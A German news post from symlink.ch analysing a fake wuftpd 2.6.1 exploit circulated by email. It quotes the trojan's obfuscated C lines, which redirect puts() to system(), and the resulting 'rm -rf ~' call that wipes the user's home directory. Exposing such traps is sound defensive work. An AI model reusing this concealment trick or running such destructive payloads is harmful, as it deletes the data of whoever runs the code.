symlink.ch
Wissen Vernetzt - deutsche News für die Welt
 
symlink.ch
FAQ
Mission
Über uns
Richtlinien

Moderation
Einstellungen
Story einsenden

Suchen & Index
Ruhmeshalle
Statistiken
Umfragen

Redaktion
Themen
Partner
Planet

XML | RDF | RSS
PDA | WAP | IRC
Symbar für Opera
Symbar für Mozilla

Freunde
Benutzergruppen
LUG Switzerland
LUG Vorarlberg
LUGen in DE
SIUG
CCCZH
Organisationen
Wilhelm Tux
FSF Europe
Events
LinuxDay Dornbirn
BBA Schweiz
CoSin in Bremgarten AG
VCFe in München
Menschen
maol
Flupp
Ventilator
dawn
gumbo
krümelmonster
XTaran
maradong
tuxedo

 
$HOME killender wuftpd fake exploit
Veröffentlicht durch reeler am Donnerstag 20. September, 22:45
Aus der Abteilung
Security Beim morgenlichen Mail lesen der Mailbox mit den Exploits fand ich ein Mail von Carolyn Meinel welches ein Loch in wuftpd 2.6.1 beschreibt. Das Mail, profesionell geschrieben, machte einen guten Eindruck nur der angehängte Code sah etwas kompliziert aus.

Ich macht mich also an die Arbeit, speichere das Mail und extrahierte den Code, doch das Telefon klingelt. Zwanzig Minuten später, wieder an der Arbeit, weiss ich nicht mehr genau wo ich war, also lese ich das Mail mit dem Code nochmals. Beim überfliegen des Codes fallen mir Zeilen auf, die ich noch nie in ähnlicher Form gesehen habe.

sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 &0xff);

Was soll das puts da? Ich werde neugierig und nehme den Code auseinander.

//#define POTS 12                       /* fill these in for your
#define DEF_ALGN 1                       * target system
//#define HEAP_ADDR 0x41414141           */
#define target (unsigned long)

Komisches Konstrukt auf den ersten Augenblick, doch spielt man Pre Processor im Kopf werden aus den 4 Zeilen plötzlich nur noch eine. Denn Zeile 1 und 3 sind Kommentare und target ist auch ein Makro.

#define DEF_ALGN 1 * (unsigned long) system

unsigned long align = DEF_ALGN;

Mit system ist die ANSI C Funktion system() gemeint, daher enthähalt die Variable align nun die Adresse der Funktion system().

/* position of the string */
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
/* function var position */
pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
/* set the function var accordingly */
*(unsigned long *)pots = align;

Die ersten fünf Zeilen sind eigentlich nur dazu da um die Adresse der Funktion puts() der Variable pots zuzuweisen. Soweit nicht schlimm, wenn auch völlig ohne Zusammenhang in einem solchen Exploit.

Nun das entscheidend, der Speicherstelle auf die pots zeigt, immer noch die Funktion puts(), wird mit dem Wert aus align überschrieben. Das heisst, wenn wir puts() aufrufen wird eigentlich system() aufgerufen.

Wenn wir nun die puts() Aufrufe anschauen

puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");

Der erste ist noch harmlos, doch der zweite löscht $HOME. Wenn man bedenkt dass bei einigen Unices $HOME bei root auf / zeigt.

Jedenfalls hat mir das Telefon den Frust in Spass umgewandelt, denn solche C Zeile, wenn auch eher destruktiv, machen einfach Spass. ;)

In Fichen Fischen | Druckausgabe | Der anonyme Feigling meldet sich zu Wort  >

 

 
symlink.ch Login
Login:

Passwort:

extrahierte Links
  • Carolyn Meinel
  • Mehr zu Security
  • Auch von reeler
  • '$HOME killender wuftpd fake exploit' | Einloggen/Account erstellen | Kommentare durchsuchen
    Schwelle:
    Das Kleingedruckte: Der Besitzer der folgenden Kommentare ist wer immer sie eingeschickt hat. Wir sind in keiner Weise für sie verantwortlich.

    Linux User Group Schweiz
    Durchsuche symlink.ch:  

    Never be led astray onto the path of virtue.
    trash.net

    Anfang | Story einsenden | ältere Features | alte Umfragen | FAQ | Autoren | Einstellungen